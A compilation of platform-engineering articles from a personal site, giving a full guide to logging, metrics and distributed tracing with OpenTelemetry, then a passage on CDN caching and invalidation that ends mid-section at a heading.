- [MDN: Reporting-Endpoints header](https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Reporting-Endpoints) - Endpoint configuration for modern reporting

#### Technology Stack

- [Oracle Java 25 LTS Announcement](https://www.oracle.com/news/announcement/oracle-releases-java-25-2025-09-16/) - Released September 16, 2025
- [Spring Boot 4.0.0 Release](https://spring.io/blog/2025/11/20/spring-boot-4-0-0-available-now/) - Released November 20, 2025
- [Spring Framework 7.0 GA](https://spring.io/blog/2025/11/13/spring-framework-7-0-general-availability/) - Released November 13, 2025
- [AWS MSK Kafka 3.8 Support](https://aws.amazon.com/about-aws/whats-new/2025/02/amazon-msk-apache-kafka-version-3-8/) - February 2025
- [AWS ElastiCache Supported Versions](https://docs.aws.amazon.com/AmazonElastiCache/latest/dg/supported-engine-versions.html) - Valkey 8.x documentation
- [PostgreSQL 18 Release](https://www.postgresql.org/about/news/postgresql-18-released-3142/) - Released September 25, 2025

#### Performance & Scaling

- [Confluent: How to Choose Kafka Partition Count](https://www.confluent.io/blog/how-choose-number-topics-partitions-kafka-cluster/) - Partition sizing formula: `max(t/p, t/c)`
- [Snowflake: Preparing Data Files](https://docs.snowflake.com/en/user-guide/data-load-considerations-prepare) - 100-250MB compressed file sizing recommendation
- [Snowflake: Snowpipe Overview](https://docs.snowflake.com/en/user-guide/data-load-snowpipe-intro) - Continuous data ingestion best practices
- [OpenJDK: Generational ZGC (JEP 439)](https://openjdk.org/jeps/439) - Sub-millisecond GC pauses, available in JDK 21+

---

## Logging, Metrics, and Tracing Fundamentals

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/platform-engineering/observability-reliability/logging-metrics-tracing
**Category:** Platform Engineering / Observability & Reliability
**Description:** Observability in distributed systems rests on three complementary signals: logs capture discrete events with full context, metrics quantify system behavior over time, and traces reconstruct request paths across service boundaries. Each signal answers different questions, and choosing wrong defaults for cardinality, sampling, or retention can render your observability pipeline either useless or prohibitively expensive. This article covers the design reasoning behind each signal type, OpenTelemetry’s unified data model, and the operational trade-offs that determine whether your system remains debuggable at scale.

# Logging, Metrics, and Tracing Fundamentals

Observability in distributed systems rests on three complementary signals: logs capture discrete events with full context, metrics quantify system behavior over time, and traces reconstruct request paths across service boundaries. Each signal answers different questions, and choosing wrong defaults for cardinality, sampling, or retention can render your observability pipeline either useless or prohibitively expensive. This article covers the design reasoning behind each signal type, OpenTelemetry's unified data model, and the operational trade-offs that determine whether your system remains debuggable at scale.

<figure>

![OpenTelemetry's unified instrumentation model: three signals exported via OTLP, with trace context linking them together.](./opentelemetry-s-unified-instrumentation-model-three-signals-exported-via-otlp-wi.svg)

<figcaption>OpenTelemetry's unified instrumentation model: three signals exported via OTLP, with trace context linking them together.</figcaption>
</figure>

## Abstract

Observability signals differ fundamentally in what they optimize:

- **Logs** preserve full event context at the cost of storage; use them for debugging specific incidents
- **Metrics** sacrifice detail for efficient aggregation; use them for alerting and dashboards
- **Traces** reconstruct causality across services; use them to understand distributed request flow

The critical design decisions:

1. **Cardinality** determines cost: metrics with unbounded label values (user IDs, request IDs) will crash your time-series database
2. **Sampling** trades completeness for cost: head sampling is predictable but blind to errors; tail sampling captures interesting traces but requires buffering
3. **Context propagation** (W3C Trace Context) links all three signals—without consistent TraceId propagation, correlation is manual and error-prone

OpenTelemetry (OTel) provides the current standard for instrumentation, unifying all signals under a single SDK with vendor-neutral export via OTLP (OpenTelemetry Protocol).

## Observability Signal Taxonomy

The three observability signals answer fundamentally different questions:

| Signal  | Question Answered                | Cardinality | Storage Cost | Query Pattern            |
| ------- | -------------------------------- | ----------- | ------------ | ------------------------ |
| Logs    | "What happened in this request?" | Unbounded   | Highest      | Full-text search, filter |
| Metrics | "How is the system behaving?"    | Bounded     | Lowest       | Aggregation, rate        |
| Traces  | "How did this request flow?"     | Sampled     | Medium       | Trace ID lookup, DAG     |

### Why Three Signals?

Each signal represents a different trade-off between detail and scalability:

**Logs** preserve everything—the full request body, stack traces, variable values—but this completeness makes them expensive to store and slow to query. You cannot aggregate logs efficiently; searching requires scanning text.

**Metrics** discard detail to enable aggregation. A counter tracking `http_requests_total` can be summed across instances, compared over time windows, and stored in constant space per label combination. But you cannot reconstruct individual requests from metrics.

**Traces** bridge the gap by preserving request structure (which services were called, in what order, how long each took) while sampling to control cost. A trace lets you understand causality—why a request was slow—but sampling means you might miss the specific request causing a user complaint.

### OpenTelemetry Data Model

As of OpenTelemetry 1.x (stable since 2023), all three signals share common context:

**Traces** consist of Spans organized into a directed acyclic graph (DAG). Each Span contains:

- `TraceId` (16 bytes): Unique identifier for the entire trace
- `SpanId` (8 bytes): Unique identifier for this span
- `ParentSpanId`: Links to parent span (empty for root)
- `Name`: Operation name (e.g., `HTTP GET /users`)
- `StartTime`, `EndTime`: Microsecond timestamps
- `Status`: OK, Error, or Unset
- `Attributes`: Key-value metadata (bounded cardinality)
- `Events`: Timestamped annotations within the span
- `Links`: References to related spans (e.g., batch job linking to triggering requests)

**Metrics** use a temporal data model with three primary types:

- **Counter**: Monotonically increasing value (requests, bytes, errors)
- **Gauge**: Point-in-time measurement (CPU%, queue depth, active connections)
- **Histogram**: Distribution across buckets (latency percentiles)

**Logs** in OpenTelemetry include:

- `Timestamp`: When the event occurred
- `SeverityNumber`/`SeverityText`: Log level
- `Body`: The log message (string or structured)
- `Attributes`: Additional context
- `TraceId`, `SpanId`: Links to active trace (automatic correlation)

The critical design choice: logs automatically inherit `TraceId` and `SpanId` from the active span context. This enables trace-log correlation without manual instrumentation.

## Structured Logging Practices

Structured logging replaces free-form text with machine-parseable records, typically JSON. The design reasoning: logs must be queryable at scale, and structured formats enable indexing, filtering, and aggregation that text logs cannot support.

### Log Schema Design

A well-designed log schema includes:

```json collapse={1-2, 14-15}
// Example structured log entry
{
  "timestamp": "2024-01-15T10:23:45.123Z",
  "level": "ERROR",
  "service": "payment-service",
  "trace_id": "abc123def456",
  "span_id": "789xyz",
  "message": "Payment processing failed",
  "error.type": "TimeoutException",
  "error.message": "Gateway timeout after 30s",
  "http.method": "POST",
  "http.url": "/api/v1/payments",
  "payment.amount": 99.99,
  "payment.currency": "USD"
}
```

**Schema principles:**

1. **Flat structure**: Nested JSON (more than 2-3 levels) degrades query performance in most log backends
2. **Consistent naming**: Use OpenTelemetry Semantic Conventions (`http.method`, `error.type`) for cross-service correlation
3. **Bounded values**: Fields like `http.status_code` have finite cardinality; fields like `user_id` do not

### Log Levels and Semantics

Log levels communicate actionability, not importance:

| Level   | Semantics                                             | Production Use                   |
| ------- | ----------------------------------------------------- | -------------------------------- |
| `ERROR` | Actionable failure requiring investigation            | Alert, page on-call              |
| `WARN`  | Degraded condition, retry succeeded, missing config   | Monitor, investigate if frequent |
| `INFO`  | Business events, state transitions, request lifecycle | Normal operations                |
| `DEBUG` | Diagnostic detail, variable values                    | Disabled in production           |
| `TRACE` | Extremely verbose diagnostics                         | Never in production              |

**Design reasoning**: If every `ERROR` log does not warrant investigation, your log levels are miscalibrated. Teams that log expected conditions as `ERROR` (e.g., user validation failures) train themselves to ignore errors.

### Cardinality in Logs

Log cardinality matters less than metric cardinality for storage—logs are already unbounded by nature—but it critically affects query performance and indexing costs.

**High-cardinality fields** (user IDs, request IDs, session tokens):

- Store but do not index by default
- Use full-text search for ad-hoc queries
- Index only if frequently filtered

**Indexing strategy**:

```
Index: timestamp, level, service, trace_id, http.status_code
No index: user_id, request_body, stack_trace
```

### Performance Implications

Logging overhead in production applications:

- **Synchronous logging**: 0.5-2ms per entry (disk I/O bound)
- **Asynchronous buffered logging**: 0.01-0.1ms per entry (memory buffer, batch flush)
- **Network logging**: 0.1-0.5ms per entry (depends on batching)

For high-throughput services (>10K requests/second), synchronous logging is not viable. Use async logging with:

- Ring buffer for backpressure (drop oldest on overflow)
- Batch size of 100-1000 entries
- Flush interval of 100-500ms

## Metrics Design and Aggregation

Metrics enable the aggregation that logs cannot support. The fundamental constraint: metrics work because they have bounded cardinality. Each unique label combination creates a new time series, and time-series databases (TSDBs) store each series independently.

### Metric Types

**Counter**: Cumulative value that only increases (or resets to zero on restart).

```
http_requests_total{method="GET", status="200"} 150432
http_requests_total{method="GET", status="500"} 42
http_requests_total{method="POST", status="201"} 8923
```

Query pattern: `rate(http_requests_total[5m])` gives requests per second.

**Gauge**: Point-in-time measurement that can increase or decrease.

```
active_connections{pool="primary"} 47
cpu_usage_percent{core="0"} 72.3
queue_depth{queue="orders"} 128
```

Query pattern: instant value or average over time window.

**Histogram**: Distribution of observations across predefined buckets.

```
http_request_duration_seconds_bucket{le="0.1"} 24054
http_request_duration_seconds_bucket{le="0.25"} 32847
http_request_duration_seconds_bucket{le="0.5"} 34012
http_request_duration_seconds_bucket{le="1.0"} 34500
http_request_duration_seconds_bucket{le="+Inf"} 34567
http_request_duration_seconds_count 34567
http_request_duration_seconds_sum 8234.56
```

Query pattern: `histogram_quantile(0.95, rate(http_request_duration_seconds_bucket[5m]))` gives p95 latency.

**Design reasoning for histograms**: Buckets are cumulative (`le` = "less than or equal") because cumulative buckets enable accurate percentile calculation during aggregation. Non-cumulative buckets lose information when summed across instances.

### Bucket Configuration

Histogram bucket boundaries should align with your SLOs (Service Level Objectives):

```
# Latency histogram for API with 200ms p99 SLO
buckets: [0.01, 0.025, 0.05, 0.1, 0.2, 0.5, 1.0, 2.5, 5.0, 10.0]
         ^^^^^          ^^^^^^^^^^^^  ^^^^^^^^^^^^^^^
         fine-grained   SLO region    tail latency
```

**Trade-off**: More buckets = better resolution but more time series (one per bucket per label combination). For a metric with 5 labels averaging 10 values each: `5 labels × 10 values × 15 buckets = 7,500 time series` per metric.

### Cardinality Explosion

The most common operational failure in metrics systems: unbounded label values crash your TSDB.

**Example of cardinality explosion**:

```
# DANGEROUS: user_id has unbounded cardinality
http_requests_total{user_id="u123", endpoint="/api/orders"}

# With 1M users and 50 endpoints:
# 1,000,000 × 50 = 50,000,000 time series
```

Prometheus holds time series in memory. At ~3KB per series, 50M series requires 150GB RAM—exceeding most deployments.

**Symptoms of cardinality problems**:

- Prometheus memory usage grows unboundedly
- Query latency increases from seconds to minutes
- Scrape targets timeout
- Alerting rules fail to evaluate

**Mitigation strategies**:

1. **Never use IDs as labels**: User IDs, request IDs, transaction IDs belong in logs and traces, not metrics
2. **Pre-aggregate in application**: Count users per tier (`premium`, `standard`) rather than per user
3. **Cardinality budgets**: Set limits per metric (e.g., max 1000 series per metric)
4. **Metric relabeling**: Drop high-cardinality labels at scrape time

### RED and USE Methods

**RED Method** (for services): Request-oriented metrics aligned with user experience.

- **Rate**: Requests per second (`rate(http_requests_total[5m])`)
- **Errors**: Error rate (`rate(http_requests_total{status=~"5.."}[5m]) / rate(http_requests_total[5m])`)
- **Duration**: Latency distribution (`histogram_quantile(0.99, rate(http_request_duration_seconds_bucket[5m]))`)

**USE Method** (for resources): Resource-oriented metrics for infrastructure.

- **Utilization**: Percent time resource is busy (`avg(cpu_usage_percent)`)
- **Saturation**: Queue depth, waiting work (`avg(runnable_tasks_count)`)
- **Errors**: Hardware errors, I/O failures (`rate(disk_errors_total[5m])`)

**Design reasoning**: RED tells you when users are impacted; USE tells you why. A latency spike (RED) might be caused by CPU saturation (USE). Use both methods together.

### Google's Four Golden Signals

The SRE book's monitoring framework:

1. **Latency**: Time to service a request (distinguish success vs error latency)
2. **Traffic**: Demand on the system (requests/sec, transactions/sec)
3. **Errors**: Rate of failed requests (explicit 5xx, implicit timeouts)
4. **Saturation**: How "full" the system is (CPU, memory, queue depth)

Golden Signals overlap with RED+USE but emphasize saturation as a leading indicator. A system at 95% CPU is not yet failing (RED looks fine) but cannot absorb traffic spikes.

## Distributed Tracing and Context

Tracing reconstructs request flow across service boundaries. The core abstraction: a **Span** represents a unit of work with defined start/end times, and **Traces** are directed acyclic graphs of spans sharing a `TraceId`.

### Span Anatomy

```
Trace: abc123
├── Span: 001 (root) "HTTP GET /checkout" [0ms - 250ms]
│   ├── Span: 002 "Query user" [10ms - 30ms]
│   ├── Span: 003 "HTTP POST /payment-service" [35ms - 200ms]
│   │   └── Span: 004 "Process payment" [40ms - 195ms]
│   │       ├── Span: 005 "Validate card" [45ms - 60ms]
│   │       └── Span: 006 "Charge gateway" [65ms - 190ms]
│   └── Span: 007 "Update inventory" [205ms - 245ms]
```

Each span includes:

- **Operation name**: What work this span represents
- **Timing**: Start and end timestamps (microsecond precision)
- **Attributes**: Key-value metadata (e.g., `http.status_code: 200`)
- **Events**: Timestamped annotations within the span (e.g., "Retry attempt 2")
- **Status**: Success, error, or unset

### Context Propagation

Trace context must cross process boundaries (HTTP calls, message queues, RPC). The W3C Trace Context standard defines two headers:

**traceparent**: `00-{trace-id}-{span-id}-{flags}`

```
traceparent: 00-0af7651916cd43dd8448eb211c80319c-b7ad6b7169203331-01
             ^^ ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ ^^^^^^^^^^^^^^^^ ^^
             |  trace-id (16 bytes)               span-id (8 bytes) flags
             version                                                (01 = sampled)
```

**tracestate**: Vendor-specific extensions

```
tracestate: congo=t61rcWkgMzE,rojo=00f067aa0ba902b7
```

**Design reasoning**: W3C Trace Context separates trace identity (`traceparent`) from vendor extensions (`tracestate`). This enables multi-vendor environments—your Datadog instrumentation can coexist with New Relic.

> **Prior to W3C Trace Context (standardized 2020)**: Multiple incompatible formats existed. Zipkin used B3 headers (`X-B3-TraceId`, `X-B3-SpanId`), Jaeger used `uber-trace-id`, and AWS X-Ray used `X-Amzn-Trace-Id`. Cross-vendor correlation required custom bridging.

### Baggage vs Span Attributes

**Span Attributes** attach to a single span and are not propagated:

```typescript
span.setAttribute("user.tier", "premium")
span.setAttribute("feature.flag.checkout_v2", true)
```

**Baggage** propagates across service boundaries:

```typescript
// Service A: Set baggage
baggage.setEntry("user.tier", "premium")

// Service B: Read baggage (automatically propagated)
const tier = baggage.getEntry("user.tier")
// Must explicitly add to span if needed for querying
span.setAttribute("user.tier", tier)
```

**Design reasoning**: Baggage is a transport mechanism, not storage. It travels with requests but does not automatically appear in trace backends. You must explicitly copy baggage entries to span attributes if you want them queryable.

**Use cases for baggage**:

- User ID for downstream services to log/trace
- Feature flags affecting request handling
- Deployment version for canary analysis
- Tenant ID in multi-tenant systems

**Warning**: Baggage is sent in HTTP headers. Keep it small (<8KB total) and never include sensitive data.

## Sampling and Cost Control

At scale, 100% trace collection is economically infeasible. A service handling 100K requests/second with 5 spans per request generates 43 billion spans per day. At typical trace storage costs ($1-5 per million spans), that's $43K-$215K per day.

Sampling reduces cost but trades off completeness.

### Head-Based Sampling

Decision made at trace start, before any spans are generated:

```typescript
// Probabilistic head sampler: 10% of traces
const sampler = new TraceIdRatioBasedSampler(0.1)

// All downstream services respect the sampling decision
// via the sampled flag in traceparent header
```

**Characteristics**:

- Low overhead: decision before span generation
- Predictable cost: fixed percentage of traces
- Blind to content: cannot sample based on errors or latency (unknown at decision time)
- Efficient: non-sampled requests generate no spans

**When to use**: High-volume systems where cost predictability matters more than capturing every error.

### Tail-Based Sampling

Decision made after trace completion, based on trace content:

```typescript
// Tail sampling policy: keep errors and slow traces
const policies = [
  { name: "errors", type: "status_code", status_codes: ["ERROR"] },
  { name: "slow", type: "latency", threshold_ms: 1000 },
  { name: "baseline", type: "probabilistic", sampling_percentage: 5 },
]
```

**Characteristics**:

- Higher overhead: all spans buffered until trace completes
- Variable cost: depends on how many traces match policies
- Content-aware: can sample based on errors, latency, attributes
- Complex infrastructure: requires centralized collector with buffering

**When to use**: When capturing all errors is more important than cost predictability.

### Hybrid Sampling Strategy

Production systems typically combine both:

1. **Head sampling at 10%**: Reduces span generation by 90%
2. **Tail sampling on remaining 10%**: Keeps errors, slow traces, and 50% random sample

Effective rate: ~5% of normal traces, ~10% of errors/slow traces.

```
100% requests
    │
    ▼ Head sampling (10%)
   10% span generation
    │
    ▼ Tail sampling
   ~5% normal traces stored
  ~10% error traces stored (boosted)
```

### Sampling and Correlation

Sampling breaks trace-log-metric correlation when inconsistent:

**Problem**: If traces are sampled at 10% but logs are 100%, 90% of logs have no corresponding trace.

**Solutions**:

1. **Always log TraceId**: Even non-sampled traces have valid TraceIds
2. **Sample logs with traces**: Use the sampled flag to gate verbose logging
3. **Exemplars**: Attach trace IDs to metric samples for drill-down

**Exemplars** bridge metrics and traces:

```
http_request_duration_seconds_bucket{le="0.5"} 1234 # {trace_id="abc123"} 0.32
```

This metric sample includes a reference to trace `abc123`, enabling drill-down from an aggregated metric to a specific trace.

## Dashboards and Alerts

Observability is only useful if it drives action. Dashboards visualize system state; alerts trigger investigation.

### Dashboard Design Principles

**Level-of-detail hierarchy**:

1. **Overview dashboard**: SLO status, error budget, traffic. 5-10 panels max.
2. **Service dashboard**: RED metrics per service. Drill-down from overview.
3. **Infrastructure dashboard**: USE metrics per resource. Linked from service dashboard.
4. **Debug dashboard**: Detailed metrics for incident investigation. Not for routine monitoring.

**Anti-pattern**: Wall of graphs that no one looks at. If a panel does not drive action, remove it.

### Alert Design Principles

**Alert on symptoms, not causes**:

- **Good**: Error rate > 1% for 5 minutes (user impact)
- **Bad**: CPU > 80% (might be normal, might not affect users)

**Multi-window alerting** (SLO-based):

```yaml
# Alert when burning error budget too fast
# 2% of monthly budget consumed in 1 hour = 36x burn rate
- alert: HighErrorBudgetBurn
  expr: |
    (
      sum(rate(http_requests_total{status=~"5.."}[1h]))
      / sum(rate(http_requests_total[1h]))
    ) > (0.02 / 720)  # 2% budget in 1/720th of month
  for: 5m
```

**Alert fatigue mitigation**:

- Require sustained condition (`for: 5m`) to avoid flapping
- Page only on user-impacting symptoms
- Ticket/warning for leading indicators (saturation)
- Review and prune alerts quarterly

### Runbooks

Every alert should link to a runbook covering:

1. **What this alert means**: Symptom description
2. **Impact assessment**: User-facing? Which users?
3. **Investigation steps**: Which dashboards? What queries?
4. **Remediation options**: Scaling? Rollback? Restart?
5. **Escalation path**: Who to contact if stuck

## Conclusion

Effective observability requires understanding the fundamental trade-offs:

**Logs** provide complete context but are expensive and slow to query. Use them for debugging specific incidents, not routine monitoring. Structure them for queryability and keep high-cardinality fields out of indexes.

**Metrics** enable aggregation and alerting but require bounded cardinality. Never use unbounded values (IDs, emails) as metric labels. Design histograms with SLO-aligned buckets.

**Traces** reconstruct distributed request flow but require sampling. Choose sampling strategy based on whether you prioritize cost predictability (head) or error capture (tail). Hybrid approaches offer balance.

**Context propagation** (W3C Trace Context) links all three signals. Without consistent `TraceId` propagation, correlation is manual and unreliable.

The cost hierarchy—metrics cheapest, traces middle, logs expensive—should guide your instrumentation strategy. Capture metrics for everything, sample traces for request flow, and log detailed context only when investigating.

## Appendix

### Prerequisites

- Familiarity with distributed systems concepts (services, RPC, message queues)
- Basic understanding of time-series data and aggregation
- Experience with at least one monitoring tool (Prometheus, Datadog, etc.)

### Terminology

- **Cardinality**: Number of unique values a field can take; in metrics, number of unique label combinations
- **OTLP**: OpenTelemetry Protocol, the wire format for exporting telemetry
- **SLO**: Service Level Objective, a target for service reliability (e.g., 99.9% availability)
- **TSDB**: Time-Series Database, optimized for timestamped data (e.g., Prometheus, InfluxDB)
- **Exemplar**: A sample metric data point with trace ID attached for drill-down

### Summary

- Logs, metrics, and traces answer different questions: logs for "what happened," metrics for "how is it behaving," traces for "how did the request flow"
- Cardinality is the critical constraint for metrics; unbounded labels crash TSDBs
- Head sampling is predictable but blind; tail sampling captures errors but costs more
- W3C Trace Context (`traceparent`, `tracestate`) is the standard for context propagation
- RED (Rate, Errors, Duration) measures user experience; USE (Utilization, Saturation, Errors) diagnoses infrastructure
- Alert on symptoms (error rate) not causes (CPU usage)

### References

- [OpenTelemetry Specification](https://opentelemetry.io/docs/specs/otel/) - Authoritative specification for traces, metrics, logs, and baggage
- [W3C Trace Context](https://www.w3.org/TR/trace-context/) - Standard for distributed trace context propagation
- [Prometheus Documentation: Histograms and Summaries](https://prometheus.io/docs/practices/histograms/) - Histogram design and query patterns
- [Google SRE Book: Monitoring Distributed Systems](https://sre.google/sre-book/monitoring-distributed-systems/) - Four Golden Signals and monitoring philosophy
- [OpenTelemetry Semantic Conventions](https://opentelemetry.io/docs/concepts/semantic-conventions/) - Standardized attribute names for telemetry
- [The RED Method](https://grafana.com/blog/2018/08/02/the-red-method-how-to-instrument-your-services/) - Tom Wilkie's service-oriented monitoring framework
- [USE Method](http://www.brendangregg.com/usemethod.html) - Brendan Gregg's resource-oriented analysis method
- [OpenTelemetry Sampling](https://opentelemetry.io/docs/concepts/sampling/) - Head and tail sampling strategies

---

## Edge Delivery and Cache Invalidation

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/platform-engineering/infrastructure-delivery/edge-delivery-and-cache-invalidation
**Category:** Platform Engineering / Infrastructure & Delivery
**Description:** Production CDN caching architecture for balancing content freshness against cache efficiency. Covers cache key design, invalidation strategies (path-based, tag-based, versioned URLs), stale-while-revalidate patterns, and edge compute use cases—with specific focus on design tradeoffs, operational failure modes, and the thundering herd problem that senior engineers encounter during cache-related incidents.

# Edge Delivery and Cache Invalidation

Production CDN caching architecture for balancing content freshness against cache efficiency. Covers cache key design, invalidation strategies (path-based, tag-based, versioned URLs), stale-while-revalidate patterns, and edge compute use cases—with specific focus on design tradeoffs, operational failure modes, and the thundering herd problem that senior engineers encounter during cache-related incidents.

<figure>

![CDN topology: clients hit edge PoPs, misses route through origin shield (single cache layer) before reaching origin. This architecture reduces origin load and enables request coalescing.](./cdn-topology-clients-hit-edge-pops-misses-route-through-origin-shield-single-cac.svg)

<figcaption>CDN topology: clients hit edge PoPs, misses route through origin shield (single cache layer) before reaching origin. This architecture reduces origin load and enables request coalescing.</figcaption>

</figure>

## Abstract

CDN caching reduces to three interconnected decisions: **what to cache** (cache key design), **how long to cache** (TTL strategy), and **when to invalidate** (freshness vs availability tradeoff).

| Decision                                | Optimizes For                   | Sacrifices                   |
| --------------------------------------- | ------------------------------- | ---------------------------- |
| Aggressive caching (long TTL)           | Origin load reduction, latency  | Content freshness            |
| Conservative caching (short TTL)        | Content freshness               | Cache hit ratio, origin load |
| Cache key expansion (more Vary headers) | Content correctness per variant | Cache fragmentation          |
| Versioned URLs                          | Eliminates invalidation need    | URL management complexity    |
| Tag-based purge                         | Granular invalidation           | Operational complexity       |

**Key architectural insight**: The cache key determines correctness; the TTL determines performance. A misconfigured cache key serves wrong content to users. A misconfigured TTL either hammers your origin or serves stale content.

**Invalidation hierarchy** (prefer higher):

1. **Versioned/fingerprinted URLs** (e.g., `main.abc123.js`)—no invalidation needed
2. **Stale-while-revalidate**—async refresh, no user-visible staleness
3. **Tag-based purge**—granular, handles complex dependencies
4. **Path-based purge**—simple but coarse-grained
5. **Full cache clear**—last resort, triggers thundering herd

**Edge compute** shifts personalization from origin to edge—decisions made in <1ms at 225+ locations vs 200ms+ round-trip to origin.

## Cache Fundamentals

HTTP caching behavior is defined by RFC 9111 (June 2022), which obsoletes RFC 7234. The specification distinguishes between **private caches** (browser) and **shared caches** (CDN, proxy). This distinction is critical: directives like `private` and `s-maxage` exist specifically to control behavior differences between these cache types.

### Cache-Control Directives

The `Cache-Control` header is the primary mechanism for controlling caching behavior. Key directives and their design rationale:

| Directive         | Target             | Behavior                                  | Design Rationale                                    |
| ----------------- | ------------------ | ----------------------------------------- | --------------------------------------------------- |
| `max-age=N`       | All caches         | Response fresh for N seconds              | Simple TTL control                                  |
| `s-maxage=N`      | Shared caches only | Overrides `max-age` for CDN/proxy         | CDN often needs different TTL than browser          |
| `no-cache`        | All caches         | Must revalidate before serving            | Freshness guarantee (not "don't cache")             |
| `no-store`        | All caches         | Never store in any cache                  | Sensitive data protection                           |
| `private`         | Browser only       | Exclude from shared caches                | User-specific content                               |
| `public`          | All caches         | Cacheable even for authenticated requests | Override default behavior                           |
| `must-revalidate` | All caches         | Cannot serve stale after TTL              | Strict freshness requirement                        |
| `immutable`       | All caches         | Content won't change during freshness     | Avoid conditional requests for fingerprinted assets |

**Common misconception**: `no-cache` does NOT mean "don't cache." It means "cache, but always revalidate before serving." Use `no-store` to prevent caching entirely.

**Example for versioned assets**:

```http
Cache-Control: public, max-age=31536000, immutable
```

This tells caches: cache for 1 year, any cache can store it, and don't bother revalidating (the fingerprinted URL guarantees immutability).

**Example for HTML documents**:

```http
Cache-Control: no-cache, must-revalidate
```

Cache the document, but always check with origin before serving. If origin is unreachable, return error rather than stale content.

### Cache Key Design

The cache key uniquely identifies cached objects. A poorly designed cache key either:

- **Fragments the cache** (too many keys) → low hit ratio, high origin load
- **Serves wrong content** (insufficient keys) → users see incorrect responses

**Default cache key components** (most CDNs):

- HTTP method (GET, HEAD)
- Host header
- URL path
- Query string

**The cache key correctness rule**: If any request header affects the response content, that header must be part of the cache key (or handled via `Vary`).

**Example: Language-based content**

If `/products` returns different content based on `Accept-Language`:

```http
# Response header
Vary: Accept-Language
```

The CDN now caches separate responses for `Accept-Language: en-US`, `Accept-Language: de-DE`, etc.

**Cache fragmentation problem**: `Accept-Language` has thousands of variations (`en-US`, `en-GB`, `en`, `en-US,en;q=0.9`). Each variation creates a separate cache entry. Solutions:

1. Normalize headers at edge (collapse `en-US`, `en-GB` → `en`)
2. Use URL-based routing (`/en/products`, `/de/products`)
3. Limit supported languages and serve default for others

**Best practices for cache key design**:

| Do                                        | Don't                                                      |
| ----------------------------------------- | ---------------------------------------------------------- |
| Include only headers that affect response | Include `User-Agent` (thousands of variations)             |
| Normalize headers at edge before caching  | Pass raw headers to cache key                              |
| Use URL-based variants when possible      | Rely on `Vary` for high-cardinality headers                |
| Whitelist query parameters                | Include all query parameters (tracking IDs fragment cache) |

### TTL Strategies by Content Type

TTL selection balances freshness against hit ratio. The right TTL depends on content volatility and staleness tolerance:

| Content Type                                     | Recommended TTL         | Cache-Control Example                                  |
| ------------------------------------------------ | ----------------------- | ------------------------------------------------------ |
| Fingerprinted assets (JS, CSS, images with hash) | 1 year                  | `max-age=31536000, immutable`                          |
| Static images without fingerprint                | 1 day to 1 week         | `max-age=86400`                                        |
| HTML documents                                   | Revalidate or short TTL | `no-cache` or `max-age=300, stale-while-revalidate=60` |
| API responses (read-heavy)                       | Minutes to hours        | `s-maxage=300, stale-while-revalidate=60`              |
| User-specific content                            | Don't cache at CDN      | `private, no-store`                                    |
| Real-time data                                   | Don't cache             | `no-store`                                             |

**Design rationale for fingerprinted assets**: Content-addressed URLs (e.g., `main.abc123.js`) guarantee immutability—the URL changes when content changes. This enables maximum caching without staleness risk. The `immutable` directive tells browsers not to revalidate even on reload.

**The HTML document problem**: HTML references other assets by URL. If you cache HTML for 1 hour and deploy new CSS, users get old HTML pointing to old CSS URL, then CSS fingerprint changes, causing broken styles until HTML cache expires. Solutions:

1. Use `no-cache` for HTML (always revalidate)
2. Use very short TTL with `stale-while-revalidate`
3. Purge HTML on every deployment

## Cache Invalidation Strategies

Cache invalidation is one of the two hard problems in computer science (along with naming things and off-by-one errors). The challenge: how do you tell globally distributed caches that content has changed?

### Versioned URLs: Avoiding Invalidation Entirely

The best invalidation strategy is avoiding invalidation. Fingerprinted URLs make cache entries naturally obsolete:

```
# Old version
/assets/main.abc123.js

# New deployment
/assets/main.def456.js
```

**Why this works**: The URL is the cache key. A new URL is a cache miss, fetched fresh from origin. Old URLs can stay cached forever—they'll naturally expire or be evicted under memory pressure.

**Implementation with build tools**:

```javascript title="vite.config.js" collapse={1-3}
// Vite configuration for content-hashed filenames
// Produces: main.abc123.js (hash changes when content changes)

export default {
  build: {
    rollupOptions: {
      output: {
        entryFileNames: "[name].[hash].js",
        chunkFileNames: "[name].[hash].js",
        assetFileNames: "[name].[hash][extname]",
      },
    },
  },
}
```

**Limitation**: Only works for assets referenced by other files. HTML documents at fixed URLs (`/`, `/products/123`) cannot use this pattern—they need explicit invalidation.

### Path-Based Purge

The simplest invalidation: tell the CDN to remove specific URLs.

**Exact path purge**:

```bash
# Purge single URL
aws cloudfront create-invalidation \
  --distribution-id E1234567890AB \
  --paths "/products/123"
```

**Wildcard purge**:

```bash
# Purge all products
aws cloudfront create-invalidation \
  --distribution-id E1234567890AB \
  --paths "/products/*"
```

**Limitations**:

- **No relationship awareness**: Purging `/products/123` doesn't purge `/categories/electronics` even if it displays product 123
- **Rate limits**: Google Cloud CDN limits to 500 invalidations/minute
- **Propagation delay**: CloudFront takes 30s-3min; Google Cloud CDN takes 5-10min

**When to use**: Simple sites with direct URL-to-content mapping. Emergency removal of specific content.

### Tag-Based Purge (Surrogate Keys)

Tag-based purging enables many-to-many relationships between content and cache entries. When content changes, purge by tag—all entries with that tag are invalidated regardless of URL.

**How it works**:

1. Origin adds tags to response headers:

```http
Surrogate-Key: product-123 category-electronics homepage
```

2. CDN indexes entries by tags

3. On product update, purge by tag:

```bash
curl -X POST "https://api.fastly.com/service/{id}/purge/product-123" \
  -H "Fastly-Key: {api_key}"
```

4. All URLs tagged with `product-123` are invalidated:
   - `/products/123`
   - `/categories/electronics` (if it displays product 123)
   - `/homepage` (if product 123 is featured)

**Fastly implementation** (from [Fastly documentation](https://docs.fastly.com/en/guides/purging-with-surrogate-keys)):

```http
# Response headers
Surrogate-Key: post/1234 category/news author/jane
Surrogate-Control: max-age=86400
```

Limits: Individual keys max 1024 bytes, total header max 16,384 bytes.

**CloudFront implementation**: CloudFront doesn't support surrogate keys natively. Workaround: use Lambda@Edge to manage a DynamoDB index mapping tags to URLs, then purge URLs programmatically.

**Akamai implementation** (Cache Tags):

```http
Edge-Cache-Tag: product-123, category-electronics
```

Purge via API or Property Manager rules.

**Design tradeoff**: Tag-based purging requires:

1. Application code to generate tags
2. CDN that supports the feature (Fastly, Akamai, Cloudflare with Enterprise)
3. Operational tooling to trigger purges

The complexity is justified when content relationships are complex (CMS, e-commerce with product listings).

### Invalidation Propagation Timing

